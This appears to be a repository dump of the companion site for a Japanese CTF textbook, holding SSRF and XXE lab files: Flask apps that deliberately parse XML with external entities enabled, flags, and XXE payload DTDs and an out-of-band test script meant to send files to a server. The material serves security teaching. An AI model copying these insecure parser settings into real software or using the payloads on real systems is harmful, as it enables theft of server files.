29 | {% endif %} 30 | 31 | 32 | -------------------------------------------------------------------------------- /dist/files/web/07_SSRF/SSRF-app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | app: 6 | build: ./app 7 | restart: always 8 | networks: 9 | - app 10 | ports: 11 | - 5000:5000 12 | volumes: 13 | - ./app/app:/opt/app 14 | environment: 15 | - FLAG="flag{This_is_a_simple_SSRF}" 16 | 17 | redis: 18 | image: "redis:6.2" 19 | networks: 20 | - app 21 | 22 | 23 | networks: 24 | app: 25 | 26 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | web1: 6 | build: ./web1 7 | restart: always 8 | networks: 9 | - app 10 | ports: 11 | - 5000:5000 12 | 13 | web2: 14 | build: ./web2 15 | restart: always 16 | networks: 17 | - app 18 | ports: 19 | - 5001:5000 20 | 21 | 22 | web3: 23 | build: ./web3 24 | restart: always 25 | networks: 26 | - app 27 | ports: 28 | - 5002:5000 29 | 30 | networks: 31 | app: 32 | 33 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN useradd -s /usr/sbin/nologin ctf &&\ 5 | pip install -r /opt/app/requirements.txt 6 | 7 | USER ctf 8 | 9 | CMD ["python", "/opt/app/app.py"] 10 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web1/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | Flask, 5 | request, 6 | redirect, 7 | render_template, 8 | session 9 | ) 10 | 11 | from lxml import etree 12 | 13 | app = Flask(__name__) 14 | FLAG = None 15 | 16 | 17 | def auth(username, password): 18 | return False 19 | 20 | 21 | @app.route("/", methods=["GET"]) 22 | def route_index(): 23 | return render_template("index.html") 24 | 25 | 26 | @app.route("/login", methods=["POST"]) 27 | def route_login_do(): 28 | xml = request.get_data().decode() 29 | 30 | parser = etree.XMLParser(no_network=False, remove_blank_text=True) 31 | 32 | try: 33 | doc = etree.fromstring(xml, parser=parser) 34 | except: 35 | return "Invalid Request", 400, {"Content-Type": "text/plain"} 36 | 37 | try: 38 | username = doc.find("username").text 39 | password = doc.find("password").text 40 | except: 41 | return "username and password are required", 400, {"Content-Type": "text/plain"} 42 | 43 | if auth(username, password) == True: 44 | session['logined'] = True 45 | return redirect('/flag') 46 | 47 | resp = etree.Element("result") 48 | resp_username = etree.Element("username") 49 | resp_username.text = username 50 | resp_success = etree.Element("success") 51 | resp_success.text = "false" 52 | 53 | resp.append(resp_username) 54 | resp.append(resp_success) 55 | 56 | return etree.tostring(resp, pretty_print=True), 200, {"Content-Type": "application/xml"} 57 | 58 | 59 | @app.route("/flag", methods=["GET"]) 60 | def route_flag(): 61 | if "logined" in session and session["logined"] == True: 62 | return FLAG 63 | 64 | return "Please login :D", 403 65 | 66 | 67 | def init(): 68 | global FLAG 69 | 70 | parser = etree.XMLParser(no_network=False) 71 | doc = etree.parse('/opt/app/config.xml', parser=parser) 72 | FLAG = doc.find("flag").text 73 | 74 | 75 | init() 76 | app.run(host="0.0.0.0", debug=False) 77 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web1/app/config.xml: -------------------------------------------------------------------------------- 1 | 2 | flag{XXE_is_useful} 3 | 4 | 5 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web1/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.2 2 | Flask==2.1.1 3 | importlib-metadata==4.11.3 4 | itsdangerous==2.1.2 5 | Jinja2==3.1.1 6 | lxml==4.6.2 7 | MarkupSafe==2.1.1 8 | Werkzeug==2.1.1 9 | zipp==3.8.0 10 | 11 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web1/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 40 | 41 |
42 | 43 |
44 | 45 |
46 | 47 |

Login to get FLAG :D

48 |
49 | You cannot login now cuz it's under development :( 50 |
51 |
52 |

53 |

54 |
55 |
56 |
57 | 58 | 59 | 60 |
61 |
62 |
63 |
64 | 65 | 66 |
67 |
68 |
69 |
70 | 71 |
72 |
73 |
74 |
75 |
76 |
77 | 78 | 79 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN useradd -s /usr/sbin/nologin ctf &&\ 5 | pip install -r /opt/app/requirements.txt 6 | 7 | USER ctf 8 | 9 | CMD ["python", "/opt/app/app.py"] 10 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web2/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | Flask, 5 | request, 6 | redirect, 7 | render_template, 8 | session 9 | ) 10 | 11 | from lxml import etree 12 | 13 | app = Flask(__name__) 14 | FLAG = None 15 | 16 | 17 | def auth(username, password): 18 | return False 19 | 20 | 21 | @app.route("/", methods=["GET"]) 22 | def route_index(): 23 | return render_template("index.html") 24 | 25 | 26 | @app.route("/login", methods=["POST"]) 27 | def route_login_do(): 28 | xml = request.get_data().decode() 29 | 30 | parser = etree.XMLParser(no_network=False, remove_blank_text=True) 31 | 32 | try: 33 | doc = etree.fromstring(xml, parser=parser) 34 | except Exception as e: 35 | return str(e), 500, {"Content-Type": "text/plain"} 36 | 37 | try: 38 | username = doc.find("username").text 39 | password = doc.find("password").text 40 | except: 41 | return "username and password are required", 400, {"Content-Type": "text/plain"} 42 | 43 | if auth(username, password) == True: 44 | session['logined'] = True 45 | return redirect('/flag') 46 | 47 | resp = etree.Element("result") 48 | resp_success = etree.Element("success") 49 | resp_success.text = "false" 50 | 51 | resp.append(resp_success) 52 | 53 | return etree.tostring(resp, pretty_print=True), 200, {"Content-Type": "application/xml"} 54 | 55 | 56 | @app.route("/flag", methods=["GET"]) 57 | def route_flag(): 58 | if "logined" in session and session["logined"] == True: 59 | return FLAG 60 | 61 | return "Please login :D", 403 62 | 63 | 64 | def init(): 65 | global FLAG 66 | 67 | parser = etree.XMLParser(no_network=False) 68 | doc = etree.parse('/opt/app/config.xml', parser=parser) 69 | FLAG = doc.find("flag").text 70 | 71 | 72 | init() 73 | app.run(host="0.0.0.0", debug=False) 74 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web2/app/config.xml: -------------------------------------------------------------------------------- 1 | 2 | flag{XXE_is_useful} 3 | 4 | 5 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web2/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.2 2 | Flask==2.1.1 3 | importlib-metadata==4.11.3 4 | itsdangerous==2.1.2 5 | Jinja2==3.1.1 6 | lxml==4.6.2 7 | MarkupSafe==2.1.1 8 | Werkzeug==2.1.1 9 | zipp==3.8.0 10 | 11 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web2/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 40 | 41 |
42 | 43 |
44 | 45 |
46 | 47 |

Login to get FLAG :D (v2)

48 |
49 | You cannot login now cuz it's under development :( 50 |
51 |
52 |

53 |

54 |
55 |
56 |
57 | 58 | 59 | 60 |
61 |
62 |
63 |
64 | 65 | 66 |
67 |
68 |
69 |
70 | 71 |
72 |
73 |
74 |
75 |
76 |
77 | 78 | 79 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN useradd -s /usr/sbin/nologin ctf &&\ 5 | pip install -r /opt/app/requirements.txt 6 | 7 | USER ctf 8 | 9 | RUN echo -n "iamsecretfile" > /tmp/secret 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web3/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | Flask, 5 | request, 6 | redirect, 7 | render_template, 8 | session 9 | ) 10 | 11 | from lxml import etree 12 | 13 | app = Flask(__name__) 14 | FLAG = None 15 | 16 | 17 | def auth(username, password): 18 | return False 19 | 20 | 21 | @app.route("/", methods=["GET"]) 22 | def route_index(): 23 | return render_template("index.html") 24 | 25 | 26 | @app.route("/login", methods=["POST"]) 27 | def route_login_do(): 28 | xml = request.get_data().decode() 29 | 30 | parser = etree.XMLParser(no_network=False, remove_blank_text=True) 31 | 32 | try: 33 | doc = etree.fromstring(xml, parser=parser) 34 | except: 35 | return "Invalid Request", 400, {"Content-Type": "text/plain"} 36 | 37 | try: 38 | username = doc.find("username").text 39 | password = doc.find("password").text 40 | except: 41 | return "username and password are required", 400, {"Content-Type": "text/plain"} 42 | 43 | if auth(username, password) == True: 44 | session['logined'] = True 45 | return redirect('/flag') 46 | 47 | resp = etree.Element("result") 48 | resp_success = etree.Element("success") 49 | resp_success.text = "false" 50 | 51 | resp.append(resp_success) 52 | 53 | return etree.tostring(resp, pretty_print=True), 200, {"Content-Type": "application/xml"} 54 | 55 | 56 | @app.route("/flag", methods=["GET"]) 57 | def route_flag(): 58 | if "logined" in session and session["logined"] == True: 59 | return FLAG 60 | 61 | return "Please login :D", 403 62 | 63 | 64 | def init(): 65 | global FLAG 66 | 67 | parser = etree.XMLParser(no_network=False) 68 | doc = etree.parse('/opt/app/config.xml', parser=parser) 69 | FLAG = doc.find("flag").text 70 | 71 | 72 | init() 73 | app.run(host="0.0.0.0", debug=False) 74 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web3/app/config.xml: -------------------------------------------------------------------------------- 1 | 2 | flag{XXE_is_useful} 3 | 4 | 5 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web3/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.2 2 | Flask==2.1.1 3 | importlib-metadata==4.11.3 4 | itsdangerous==2.1.2 5 | Jinja2==3.1.1 6 | lxml==4.6.2 7 | MarkupSafe==2.1.1 8 | Werkzeug==2.1.1 9 | zipp==3.8.0 10 | 11 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/XXE-app/web3/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 40 | 41 |
42 | 43 |
44 | 45 |
46 | 47 |

Login to get FLAG :D (v3)

48 |
49 | You cannot login now cuz it's under development :( 50 |
51 |
52 |

53 |

54 |
55 |
56 |
57 | 58 | 59 | 60 |
61 |
62 |
63 |
64 | 65 | 66 |
67 |
68 |
69 |
70 | 71 |
72 |
73 |
74 |
75 |
76 |
77 | 78 | 79 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/payload/blind_errorinfo.dtd: -------------------------------------------------------------------------------- 1 | 3 | "> 4 | 5 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/payload/send_file_to_server.dtd: -------------------------------------------------------------------------------- 1 | 3 | "> 4 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/payload/wrapper.dtd: -------------------------------------------------------------------------------- 1 | 2 | 3 | "> 4 | 5 | -------------------------------------------------------------------------------- /dist/files/web/08_XXE/script/oob_test.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | from lxml import etree # pip3 install --user lxml 3 | 4 | xml = """ 5 | 7 | 8 | %dtd; 9 | %stager; 10 | ]> 11 | &send; 12 | """ 13 | 14 | parser = etree.XMLParser(no_network=False, remove_blank_text=True) 15 | try: 16 | doc = etree.fromstring(xml, parser=parser) 17 | except Exception as e: 18 | print(e) 19 | -------------------------------------------------------------------------------- /gatsby-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | siteMetadata: { 3 | siteTitle: "『詳解セキュリティコンテスト』", 4 | defaultTitle: "『詳解セキュリティコンテスト』", 5 | siteTitleShort: "『詳解セキュリティコンテスト』", 6 | siteDescription: 7 | "書籍『詳解セキュリティコンテスト』の補助情報や配布ファイルを提供するページです。", 8 | siteUrl: "https://ctfbook.github.io/2nd", 9 | siteAuthor: "『詳解セキュリティコンテスト』著者", 10 | siteImage: "/banner.png", 11 | siteLanguage: "ja", 12 | themeColor: "#8257E6", 13 | basePath: "/", 14 | }, 15 | pathPrefix: "/2nd", 16 | flags: { PRESERVE_WEBPACK_CACHE: true }, 17 | plugins: [ 18 | { 19 | resolve: "@rocketseat/gatsby-theme-docs", 20 | options: { 21 | configPath: "src/config", 22 | docsPath: "src/docs", 23 | repositoryUrl: "https://github.com/ctfbook/2nd", 24 | baseDir: "", 25 | }, 26 | }, 27 | "gatsby-plugin-sitemap", 28 | "gatsby-plugin-remove-trailing-slashes", 29 | { 30 | resolve: "gatsby-plugin-canonical-urls", 31 | options: { 32 | siteUrl: "https://ctfbook.github.io/2nd", 33 | }, 34 | }, 35 | "gatsby-plugin-offline", 36 | { 37 | resolve: "gatsby-plugin-typegen", 38 | options: { 39 | outputPath: `src/@types/gatsby-types.d.ts`, 40 | }, 41 | }, 42 | ], 43 | }; 44 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ctfbook2", 3 | "private": true, 4 | "version": "1.0.0", 5 | "description": "", 6 | "author": "", 7 | "license": "MIT", 8 | "starter-name": "gatsby-starter-rocket-docs", 9 | "dependencies": { 10 | "@rocketseat/gatsby-theme-docs": "^2.3.1", 11 | "gatsby": "^3.0.4", 12 | "gatsby-plugin-canonical-urls": "^3.0.0", 13 | "gatsby-plugin-google-analytics": "^3.0.0", 14 | "gatsby-plugin-manifest": "^3.0.0", 15 | "gatsby-plugin-offline": "^4.0.0", 16 | "gatsby-plugin-remove-trailing-slashes": "^3.0.0", 17 | "gatsby-plugin-sitemap": "^3.0.0", 18 | "prop-types": "^15.7.2", 19 | "react": "^17.0.1", 20 | "react-dom": "^17.0.1", 21 | "styled": "^1.0.0" 22 | }, 23 | "devDependencies": { 24 | "@typescript-eslint/eslint-plugin": "^4.28.2", 25 | "@typescript-eslint/parser": "^4.28.2", 26 | "eslint": "^7.30.0", 27 | "eslint-config-prettier": "^8.3.0", 28 | "eslint-plugin-prettier": "^3.4.0", 29 | "gatsby-plugin-typegen": "^2.2.4", 30 | "typescript": "^4.3.5" 31 | }, 32 | "keywords": [], 33 | "scripts": { 34 | "build": "gatsby build", 35 | "start": "gatsby develop", 36 | "serve": "gatsby serve", 37 | "lint": "eslint . --ext .tsx --ext .ts", 38 | "lint:fix": "eslint . --fix --ext .tsx --ext .ts", 39 | "clean": "gatsby clean" 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/@rocketseat/gatsby-theme-docs/components/Logo.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import logoImg from "../../../assets/logo.png"; 3 | 4 | const Logo: React.FC = (props) => { 5 | return ( 6 | 『詳解セキュリティコンテスト』 14 | ); 15 | }; 16 | 17 | export default Logo; 18 | -------------------------------------------------------------------------------- /src/@rocketseat/gatsby-theme-docs/text/index.mdx: -------------------------------------------------------------------------------- 1 | # 『詳解セキュリティコンテスト』 2 | 3 | 『詳解セキュリティコンテスト』は、CTF 等に代表されるセキュリティコンテストの基礎を、技術的な背景の解説を通して実践的に学んでいくための一冊です。 4 | 本ページでは同書に関する補助情報や配布ファイルを提供しています。 5 | 6 | ![カバー画像](./cover.png) 7 | -------------------------------------------------------------------------------- /src/@types/.gitignore: -------------------------------------------------------------------------------- 1 | gatsby-types.d.ts -------------------------------------------------------------------------------- /src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/src/assets/logo.png -------------------------------------------------------------------------------- /src/config/sidebar.yml: -------------------------------------------------------------------------------- 1 | # Sidebar navigation 2 | 3 | - label: "トップページ" 4 | link: "/" 5 | - label: 書籍に関して 6 | items: 7 | - label: "書誌情報" 8 | link: "/about" 9 | - label: "配布ファイル" 10 | link: "/about-dist" 11 | - label: "よくある質問と回答" 12 | link: "/faq" 13 | - label: 購入ページ 14 | items: 15 | - label: "マイナビ BOOKS" 16 | link: https://book.mynavi.jp/ec/products/detail/id=122750 17 | - label: "Amazon.co.jp" 18 | link: https://www.amazon.co.jp/dp/4839973490 19 | - label: その他 20 | items: 21 | - label: "マイナビ出版のサポートページ(正誤情報など)" 22 | link: https://book.mynavi.jp/supportsite/detail/9784839973490.html 23 | -------------------------------------------------------------------------------- /src/docs/about-dist.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 配布ファイル 3 | description: 書籍中で取り扱われているファイルの配布ページです。 4 | disableTableOfContents: true 5 | --- 6 | 7 | 本書中で取り扱われているファイルは以下からダウンロードすることができます: 8 | 9 | | ファイルの概要 | URL | 10 | | --------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | 11 | | 演習用の仮想マシン(Vagrantfile) | `https://ctfbook.github.io/2nd/dist/Vagrantfile` | 12 | | 演習用ファイル一式(zip 版) | `https://ctfbook.github.io/2nd/dist/files.zip` | 13 | | 演習用ファイル一式(tar.gz 版) | `https://ctfbook.github.io/2nd/dist/files.tar.gz` | 14 | -------------------------------------------------------------------------------- /src/docs/about.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 書誌情報 3 | description: 書籍中で取り扱われているファイルの配布ページです。 4 | disableTableOfContents: true 5 | --- 6 | 7 | - タイトル: 詳解セキュリティコンテスト - CTF で学ぶ脆弱性攻略の技術 8 | - 著者: 梅内翼、清水祐太郎、藤原裕大、前田優人、米内貴志、渡部裕 9 | - 出版社: マイナビ出版 10 | - 出版日: 2021 年 7 月 26 日 11 | - ISBN: 978-4-8399-7349-0 12 | -------------------------------------------------------------------------------- /src/docs/faq.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: よくある質問と回答 3 | description: 書籍に関するよくある質問と、それに対する回答をまとめています。 4 | disableTableOfContents: true 5 | --- 6 | 7 | 随時更新されます。 8 | -------------------------------------------------------------------------------- /src/pages/404.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Link } from "gatsby"; 3 | 4 | import Layout from "@rocketseat/gatsby-theme-docs/src/components/Layout"; 5 | import SEO from "@rocketseat/gatsby-theme-docs/src/components/SEO"; 6 | 7 | export default function NotFound() { 8 | return ( 9 | 10 | 11 |

そのページは存在しません。

12 |

13 | トップページはこちら 14 |

15 |
16 | ); 17 | } 18 | -------------------------------------------------------------------------------- /static/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/static/banner.png -------------------------------------------------------------------------------- /static/cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/static/cover.png -------------------------------------------------------------------------------- /static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/static/favicon.png -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "esModuleInterop": true, 8 | "allowSyntheticDefaultImports": true, 9 | "strict": true, 10 | "forceConsistentCasingInFileNames": true, 11 | "module": "esnext", 12 | "moduleResolution": "node", 13 | "resolveJsonModule": true, 14 | "isolatedModules": true, 15 | "noEmit": true, 16 | "jsx": "react", 17 | "paths": { 18 | "@/*": ["./src/*"] 19 | } 20 | }, 21 | "include": ["./src/**/*"], 22 | "exclude": ["public", ".cache", "node_modules"] 23 | } 24 | --------------------------------------------------------------------------------